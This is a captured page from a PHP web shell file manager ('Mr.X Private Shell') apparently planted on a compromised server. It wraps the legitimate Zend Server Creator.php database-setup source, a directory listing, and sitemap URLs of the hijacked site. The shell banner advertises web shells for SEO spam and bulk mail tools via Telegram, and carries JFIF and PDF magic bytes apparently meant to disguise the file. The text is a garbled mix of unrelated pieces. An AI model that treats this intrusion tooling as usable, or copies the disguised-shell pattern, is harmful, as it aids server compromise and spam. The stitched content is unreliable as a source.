xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Application\Db;

use ZendServer\FS\FS;
use ZendServer\Log\Log;
use Zend\Db\Adapter\Driver\Pdo\Pdo;
use Zend\Db\Adapter\Adapter;
use ZendServer\Exception;

class Creator
{
    const CONNECTION_TESTING_TIMEOUT                = 3;
    const ZEND_DB_USER_NAME                         = 'zend';
    const DBSCHEMA_FILENAME_ZSD                     = 'zsd_mysql_create_schema.sql';
    const DBSCHEMA_FILENAME_MONITOR                 = 'mysql_create_monitor_db.sql';
    const DBSCHEMA_FILENAME_MONITOR_RULES           = 'mysql_create_monitor_rules_db.sql';
    const DBSCHEMA_FILENAME_PAGECACHE_RULES         = 'mysql_create_pagecache_rules_db.sql';
    const DBSCHEMA_FILENAME_MONITOR_RULES_FIXTURES  = 'create_monitor_rules_fixtures.sql';
    const DBSCHEMA_FILENAME_DEPLOYMENT              = 'deployment_mysql_create_database.sql';
    const DBSCHEMA_FILENAME_UrlInsight              = 'urlinsight_mysql_create_database.sql';
    const DBSCHEMA_FILENAME_JOBQUEUE                = 'jobqueue_mysql_create_database.sql';
    const DBSCHEMA_FILENAME_STATISTICS              = 'statistics_mysql_create_database.sql';
    const DBSCHEMA_FILENAME_GEOGRAPHIC              = 'stats_mysql_fixtures.sql';
    const DBSCHEMA_FILENAME_MESSAGE_CENTER          = 'mysql_create_message_center_db.sql';
    const DBSCHEMA_FILENAME_GUI                     = 'gui_mysql_create_database.sql';
    const DBSCHEMA_FILENAME_ACL_FIXTURES_GUI        = 'gui_mysql_acl_fixtures.sql';
    const DBSCHEMA_FILENAME_DEVBAR                  = 'devbar_mysql_create_database.sql';
    const DBSCHEMA_FILENAME_DEVBAR_FIXTURES_GUI     = 'devbar_fixtures.sql';
    const DBSCHEMA_FILENAME_STATSD                  = 'statsd_mysql_create_database.sql';
    const CREATE_DB_LOCK                            = 'CREATE_DB_LOCK';

    /**
     *
     * @var Adapter
     */
    private $dbAdapter;
    private $schema;
    private $lock = false;

    public function __construct($dsn, $user, $pass, $schema)
    {

        if (!extension_loaded('pdo_mysql')) {
            throw new Exception(_t('Database connection failed, pdo_mysql driver must be loaded'),
            Exception::DATABASE_MISSING_DRIVER);
        }
        set_time_limit(120); /// Arbitrarily extend time limit for save action in case of locks or slow response
        $this->dbAdapter = new Adapter(new Pdo(new \PDO($dsn, $user, $pass,
            array(
            \PDO::ATTR_TIMEOUT => self::CONNECTION_TESTING_TIMEOUT
        ))));

        $this->schema = $schema;
    }

    /**
     * The generated name will look like "zend_5a1416bdb9" (max 15 chars length)
     * 
     * @return string
     */
    public static function generateRandomZendUserName() {
        return substr(\Application\Db\Creator::ZEND_DB_USER_NAME.'_'.md5(microtime(true)), 0, 15);
    }


    /**
     * Check what's provided in zend_database.ini, if it's user "zend", take the password from there
     * @return string|bool
     */
    public static function getZendUserPassword() {
        $config = new \ZendServer\Ini\IniReader();
        $iniFile = getCfgVar('zend.conf_dir').DIRECTORY_SEPARATOR.'zend_database.ini';
        $dbDirectives = $config->fromFile($iniFile, false);
        
        // if the user is "zend" and the password is defined, return it
        if (isset($dbDirectives['zend.database.user']) && $dbDirectives['zend.database.user'] == \Application\Db\Creator::ZEND_DB_USER_NAME) {
            return isset($dbDirectives['zend.database.password']) && !empty($dbDirectives['zend.database.password']) ? 
                $dbDirectives['zend.database.password'] : false;
        }
        
        return false;
    }

    public static function getDatabaseConfig()
    {
        $config = new \ZendServer\Ini\IniReader();
        $iniFile = getCfgVar('zend.conf_dir').DIRECTORY_SEPARATOR.'zend_database.ini';
        $dbDirectives = $config->fromFile($iniFile, false);
        return $dbDirectives;
    }
    
    /**
     * 
     * @param mixed $schema 
     * @param mixed $host 
     * @param mixed $port 
     * @param mixed $userCreds 
     * @return  
     */
    public static function writeDbDirectives($schema, $host, $port, $userCreds)
    {
        $iniFile = FS::createPath(getCfgVar('zend.conf_dir'), 'zend_database.ini'); // store user in zend_database.ini
        $iniWriter = new \ZendServer\Ini\IniWriter();
        $iniWriter->updateZendDirectives($iniFile, array(
            'zend.database.type' => 'MYSQL',
            'zend.database.name' => $schema,
            'zend.database.host_name' => $host,
            'zend.database.port' => $port,
            'zend.database.user' => $userCreds['username'],
            'zend.database.password' => $userCreds['password'],
        ));
    }


    
    /**
     * Check if zend user exists
     * 
     * @param mixed $zendUsername (optional)
     * @return  
     */
    public function zendUserExists($zendUsername = false)
    {
        $zendUsername = $zendUsername ?: self::ZEND_DB_USER_NAME;
        
        $stmt   = $this->dbAdapter->query('SELECT COUNT(*) as counted_users FROM mysql.user where user = ?');
        $result = $stmt->execute(array($zendUsername));
        return ($result->count() > 0);
    }

    public function getAdapter()
    {
        try {
            $this->dbAdapter->query('use '.$this->schema, Adapter::QUERY_MODE_EXECUTE);
        } catch (\Exception $e) {
            Log::notice("Cannot use database {$this->schema} for cluster profile check. ".$e->getMessage());
            return null;
        }

        return $this->dbAdapter;
    }

    public function hasLock()
    {
        return $this->lock;
    }

    /**
     *
     * @return boolean
     */
    public function getLock()
    {
        $result     = $this->dbAdapter->query('SELECT GET_LOCK("'.self::CREATE_DB_LOCK.'", 1) as lockObtained',
                Adapter::QUERY_MODE_EXECUTE)->current();
        $this->lock = $result ['lockObtained'] === '1';
        return $this->lock;
    }

    public function releaseLock()
    {
        $this->lock = false;
        return $this->dbAdapter->query('SELECT RELEASE_LOCK("'.self::CREATE_DB_LOCK.'")');
    }

    /**
     * create new zend DB user 
     * 
     * @param mixed $zendUsername - "zend" by default
     * @return array information about the credentials that were created
     */
    public function createZendUser($zendUsername = false)
    {
        $zendUsername = $zendUsername ?: self::ZEND_DB_USER_NAME;
        
        $password = $this->createRandomPassword();
        
        // unset old_passwords variable for drizzle support (ZSRV-1599)
        // fixed #ZSR-3306, MySQL 8.0.11 removed the old_passwords variable!
        $results  = $this->dbAdapter->query('SELECT VERSION()');
        $result = $results->execute();
        $resultsArray = $result->getResource()->fetchAll();
        $mysqlVersion = isset($resultsArray[0][0]) ? $resultsArray[0][0] : null;
        
        if ($mysqlVersion && version_compare($mysqlVersion, '8.0.11') < 0) {
            $this->dbAdapter->query('set @old = (select @@old_passwords) ;', Adapter::QUERY_MODE_EXECUTE);
            $this->dbAdapter->query('set @@old_passwords = 0;');
        }

        $this->dbAdapter->query('CREATE USER \''.$zendUsername.'\'@\'%\' IDENTIFIED BY \''.$password.'\'', Adapter::QUERY_MODE_EXECUTE);
        $this->dbAdapter->query('CREATE USER \''.$zendUsername.'\'@\'localhost\' IDENTIFIED BY \''.$password.'\'', Adapter::QUERY_MODE_EXECUTE);
        Log::notice("Created zend database user");

        // reset old_passwords variable, MySQL 8.0.11 removed the old_passwords variable!
        if ($mysqlVersion && version_compare($mysqlVersion, '8.0.11') < 0) {
            $this->dbAdapter->query('set @@old_passwords = @old ;', Adapter::QUERY_MODE_EXECUTE);
        }

        $this->dbAdapter->query("FLUSH PRIVILEGES", Adapter::QUERY_MODE_EXECUTE);

        return array(
            'username' => $zendUsername,
            'password' => $password
        );
    }

    /**
     *
     * @return string
     */
    private function createRandomPassword()
    {
        // / truncate to 16 characters to avoid drizzle limitations for password lengths
        return substr(base64_encode(\Zend\Crypt\Hash::compute('sha1', mt_rand(100000000, 999999999), true)), 0, 16);
    }

    /**
     *
     * @return boolean
     */
    public function schemaExists()
    {
        try {
            $this->dbAdapter->query('use '.$this->schema, Adapter::QUERY_MODE_EXECUTE);
            $result = $this->dbAdapter->query('SELECT * FROM schema_properties limit 1', Adapter::QUERY_MODE_EXECUTE);
        } catch (\Exception $e) {
            return false;
        }

        if (!$result || !sizeof($result)) {
            return false;
        }

        return true;
    }
    
    /**
     * Get the existing "zend" user (if possible), if not create new one.
     * the new user will be called "zend_<rand. hash>"
     * 
     * @return array
     */
    public function getZendUser() {
        $userCreds = array();
        
        // check if the user zend already exists
        if ($this->zendUserExists()) {
            
            // get password from INI file
            $zendUserPassword = self::getZendUserPassword();
            if ($zendUserPassword) {
                Log::info('User '.(self::ZEND_DB_USER_NAME).' already exists. User data successfully retrieved from the INI file');
                $userCreds = array(
                    'username' => self::ZEND_DB_USER_NAME,
                    'password' => $zendUserPassword,
                    'new' => false,
                );
            } else {
                // try to create new zend user - zend_<rand.hash>
                $newZendUser = self::generateRandomZendUserName();
                $userCreds = $this->createZendUser($newZendUser);
                $userCreds['new'] = true;
                Log::notice('User '.(self::ZEND_DB_USER_NAME).' already exists but we cannot retrieve the password. Created new user '.$newZendUser);
                
            }
        } else {
            $userCreds = $this->createZendUser();
            $userCreds['new'] = true;
            Log::notice("New user ".(self::ZEND_DB_USER_NAME)." created successfully");
        }
        
        return $userCreds;
    }

    /**
     * Get list of SQL files that create the cluster DB
     * 
     * @return array
     */
    protected function getClusterSchemaFiles() 
    {
        static $schemaFiles = array();
        
        if (empty($schemaFiles)) {
            $installDir = get_cfg_var('zend.install_dir');

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_MONITOR);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_DEPLOYMENT);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_UrlInsight);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_JOBQUEUE);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_ZSD);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_MONITOR_RULES);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_MONITOR_RULES_FIXTURES);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_PAGECACHE_RULES);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_STATISTICS);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_STATSD);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_GEOGRAPHIC);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_MESSAGE_CENTER);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_GUI);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_ACL_FIXTURES_GUI);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_DEVBAR);
            $schemaFiles [] = FS::getFileObject($schemaPath);

            $schemaPath     = FS::createPath($installDir, 'share', self::DBSCHEMA_FILENAME_DEVBAR_FIXTURES_GUI);
            $schemaFiles [] = FS::getFileObject($schemaPath);
        }

        return $schemaFiles;
    }
    
    /**
     * Get list of all the tables that should be created
     * 
     * @return array
     */
    protected function getListOfAllTables() {
        $tables = array();
        $schemaFiles = $this->getClusterSchemaFiles();
        foreach ($schemaFiles as $schemaFile) {
            $fileContents = $schemaFile->readAll();
            if (!$fileContents) {
                continue;
            }
            
            $hasMatches = preg_match_all('#create\s*table\s*(.*?)\s*\(#smi', $fileContents, $matches);
            if ($hasMatches) {
                $matches = $matches[1];
                
                $matches = array_map(function($createTableStr) {
                    $tableName = trim(str_ireplace('if not exists', '', $createTableStr));
                    // remove quotes
                    $tableName = trim($tableName, '\'"`');
                    
                    return $tableName;
                }, $matches);
                
                $tables = array_merge($tables, $matches);
            }
        }
        
        return $tables;
    }

    /**
     * Check if all the tables are defined in the database
     * 
     * @param array $tablesList 
     * 
     * @return bool
     */
    protected function tablesExist(array $tablesList) {
        // validate all tables created
        if (!empty($tablesList)) {
            foreach ($tablesList as $tableName) {
                try {
                    $this->dbAdapter->query("SELECT 1 FROM `{$tableName}` LIMIT 1", Adapter::QUERY_MODE_EXECUTE);
                } catch (\Exception $e) {
                    Log::err("Table {$tableName} is missing after cluster database creation");
                    return false;
                }
            }
            
        }
        
        return true;
    }
    

    /**
     * Create cluster schema
     * @return  
     */
    public function createSchema()
    {
        Log::debug("Creating schema {$this->schema}");
        $this->dbAdapter->query('CREATE DATABASE IF NOT EXISTS '.$this->schema, Adapter::QUERY_MODE_EXECUTE);
        $this->dbAdapter->query('use '.$this->schema, Adapter::QUERY_MODE_EXECUTE);

        $schemaFiles = $this->getClusterSchemaFiles();
        
        try {
            $this->dbAdapter->getDriver()->getConnection()->beginTransaction();
            
            foreach ($schemaFiles as $schemaFile) { /* @var $schemaFile \SplFileobject */
                Log::debug('Executing queries from '.$schemaFile->getFilename());
                
                // execute query one by one
                $queriesList = $schemaFile->readAll();
                if (empty($queriesList)) {
                    continue;
                }
                
                $this->dbAdapter->query($queriesList, Adapter::QUERY_MODE_EXECUTE);
            }
            
            $this->dbAdapter->getDriver()->getConnection()->commit();
        } catch (\Exception $e) {
            // rollback and delete the schema
            $this->dbAdapter->getDriver()->getConnection()->rollback();
            $this->dbAdapter->query('DROP DATABASE IF EXISTS '.$this->schema, Adapter::QUERY_MODE_EXECUTE);
            
            // log operation
            $errMessage = "Failed query during database creation: ".$e->getMessage();
            Log::err($errMessage);
            throw new \ZendServer\Exception($errMessage, null, $e);
        }
        
        // check that all the tables were created
        if (!$this->tablesExist($this->getListOfAllTables())) {
            $result = $this->dbAdapter->query('DROP DATABASE IF EXISTS '.$this->schema, Adapter::QUERY_MODE_EXECUTE);
            Log::err("Dropping database {$this->schema}");
            
            throw new \ZendServer\Exception("Not all the tables were created");
        }
        
        Log::info('Schema created successfully');
    }

    public function grantPermissions($schema, $user)
    {
        $privileges = array(
            'Insert_priv' => 'INSERT',
            'Select_priv' => 'SELECT',
            'Update_priv' => 'UPDATE',
            'Delete_priv' => 'DELETE',
            'Lock_Tables_priv' => 'LOCK TABLES',
            'Create_tmp_table_priv' => 'CREATE TEMPORARY TABLES',
            'Drop_priv' => 'DROP',
/*
            'Create_priv' => 'CREATE',
            'Alter_priv' => 'ALTER',
            'Index_priv' => 'INDEX',
            'Create_view_priv' => 'CREATE VIEW',
            'Show_view_priv' => 'SHOW VIEW',
            'Alter_routine_priv' => 'ALTER ROUTINE',
            'Create_routine_priv' => 'CREATE ROUTINE',
            'Execute_priv' => 'EXECUTE',
            'Trigger_priv' => 'TRIGGER',
*/
        );

        $privilegesList = implode(',', $privileges);

        $query = "GRANT {$privilegesList} ON `$schema`.* TO '".$user."'@'%'";
        $this->dbAdapter->query($query, Adapter::QUERY_MODE_EXECUTE);
        $query = "GRANT {$privilegesList} ON `$schema`.* TO '".$user."'@'localhost'";
        $this->dbAdapter->query($query, Adapter::QUERY_MODE_EXECUTE);
        Log::debug("granting permissions to '{$user}' user: {$query}");
    }

    public function cleanUpZend($schema)
    {
        Log::info('DB Cleanup initiated');
        /// Removed cleanup code - overkill
        Log::warn("Could not clean up after zend schema creation process. Cleanup should be performed manually");
    }
}

Filemanager

Name Type Size Permission Actions
Adapter Folder 0755
AbstractFactoryConnector.php File 3.34 KB 0644
Connector.php File 5.3 KB 0644
Creator.php File 18.32 KB 0644
DirectivesFileConnector.php File 1.02 KB 0644
MissingDbMetadataException.php File 471 B 0644
SqliteDbCreator.php File 1.53 KB 0644
TableGateway.php File 3.12 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml